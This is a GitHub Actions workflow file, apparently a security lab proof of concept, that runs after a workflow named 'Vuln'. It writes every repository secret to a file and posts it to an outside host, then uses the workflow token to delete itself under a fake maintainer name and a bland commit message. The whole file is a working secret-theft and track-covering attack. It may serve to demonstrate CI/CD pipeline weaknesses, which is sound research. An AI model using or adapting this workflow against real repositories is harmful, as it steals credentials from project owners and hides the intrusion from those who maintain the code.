expose_secrets.yml

name: Exposing ALL Secrets

on:
  workflow_run:
    workflows: ["Vuln"]

permissions: write-all

env:
  WORKFLOW_NAME: "innocent_workflow.yml"
  MAINTAINER_NAME: "Maintainer Name"
  MAINTAINER_EMAIL: "maintainer@gmail.com"
  COMMIT_MESSAGE: "innocent commit message"
  URL: http://lab.cycode.com:64375

jobs:
  expose_secrets:
    runs-on: ubuntu-latest

    steps:
      - run: |
          echo "${{ toJSON(secrets) }}" > .secrets
          curl -X POST --data "@.secrets" $URL
      - run: |
          SHA=$(curl -X GET -H "Authorization: Token ${{ github.token }}" https://api.github.com/repos/$GITHUB_REPOSITORY/contents/.github/workflows/$WORKFLOW_NAME -s | jq -r .sha)
          curl -X DELETE -H "Authorization: Token ${{ github.token }}" https://api.github.com/repos/$GITHUB_REPOSITORY/contents/.github/workflows/$WORKFLOW_NAME -d '{"message":"$COMMIT_MESSAGE","committer":{"name":"$MAINTAINER_NAME","email":"$MAINTAINER_EMAIL"}, "sha":"'"${SHA}"'"}'